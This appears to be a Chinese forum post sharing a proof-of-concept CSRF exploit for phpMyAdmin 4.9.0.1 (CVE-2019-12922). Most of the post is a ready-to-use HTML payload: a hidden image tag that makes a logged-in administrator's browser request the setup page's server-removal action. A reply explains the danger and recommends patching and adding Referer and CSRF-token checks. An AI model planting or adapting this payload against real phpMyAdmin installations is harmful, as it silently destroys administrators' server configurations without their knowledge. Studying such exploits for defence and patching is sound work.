phpMyAdmin 4.9.0.1 CSRF

90_

CVE-ID: CVE-2019-12922

phpMyAdmin <= 4.9.0.1

Exploit CSRF - Deleting main server

[AppleScript] 查看源码 复制代码

<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />

热心网友5

这个 CSRF 漏洞利用方式很典型，危害也确实不小。攻击者只需要诱导已登录的管理员访问恶意页面，就能无声无息地删除服务器配置，造成管理面板无法正常使用。建议受影响版本尽快升级到 4.9.0.1 之后的修复版，或者在服务器端增加 Referer 校验和 CSRF Token 保护。